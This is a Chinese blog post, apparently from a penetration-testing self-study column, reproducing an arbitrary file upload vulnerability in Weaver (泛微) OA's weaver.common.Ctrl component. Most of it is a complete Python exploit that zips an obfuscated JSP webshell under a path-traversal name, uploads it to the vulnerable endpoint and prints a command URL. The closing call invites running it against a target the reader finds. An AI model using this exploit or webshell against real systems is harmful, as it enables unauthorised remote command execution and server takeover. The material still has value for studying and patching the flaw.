泛微OA 任意文件上传漏洞

最新推荐文章于 2024-10-01 15:20:30 发布

maverickpig

最新推荐文章于 2024-10-01 15:20:30 发布

阅读量7.5k

点赞数 1

分类专栏：渗透测试自学日志之漏洞复现篇文章标签：安全 web安全

原文链接：https://mp.weixin.qq.com/s/WoWIZzY48C6GjCrbgnSErg

版权

渗透测试自学日志之漏洞复现篇专栏收录该内容

27 篇文章

订阅专栏

本文详细介绍了泛微OA系统weaver.common.Ctrl组件存在的任意文件上传漏洞，攻击者可借此上传webshell，控制服务器。复现步骤包括定位漏洞路径并使用POC进行文件上传。此外，提供了Python脚本实现文件上传过程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

使用需知

由于传播和使用本文所提供的任何直接或间接的后果和损失，均由用户承担，作者对此不承担任何责任。如果文章出现敏感内容产生不良影响,请联系作者删除。
本文来源于PeiQi文库，作者PeiQi文库

一、漏洞描述

泛微OA weaver.common.Ctrl 存在任意文件上传漏洞，攻击者通过漏洞可以上传webshell文件控制服务器

二、漏洞影响

泛微OA

三、漏洞复现

存在漏洞的路径为

/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp

使用POC进行文件上传

python poc.py

在这里插入图片描述

四、漏洞POC

import zipfile
import random
import sys
import requests



def generate_random_str(randomlength=16):
    random_str = ''
    base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
    length = len(base_str) - 1
    for i in range(randomlength):
        random_str += base_str[random.randint(0, length)]
    return random_str

mm = generate_random_str(8)

webshell_name1 = mm+'.jsp'
webshell_name2 = '../../../'+webshell_name1

def file_zip():
    shell = """<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%
    if(request.getParameter("cmd")!=null){
        BASE64Decoder decoder = new BASE64Decoder();
        Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
        Process e = (Process)
                rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
                        String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new
                        Object[]{}), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>
    """   ## 替换shell内容
    zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
    zf.writestr(webshell_name2, shell)

def GetShell(urllist):
    file_zip()
    # print('上传文件中')
    urls = urllist + '/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp'
    file = [('file1', (mm+'.zip', open(mm + '.zip', 'rb'), 'application/zip'))]
    try:
        requests.post(url=urls,files=file,timeout=60, verify=False)
        GetShellurl = urllist+'/cloudstore/'+webshell_name1
        GetShelllist = requests.get(url = GetShellurl)
        if GetShelllist.status_code == 200:
            print(GetShellurl+"?cmd=whoami")
    except:
        pass

GetShell("自己找的漏洞URL")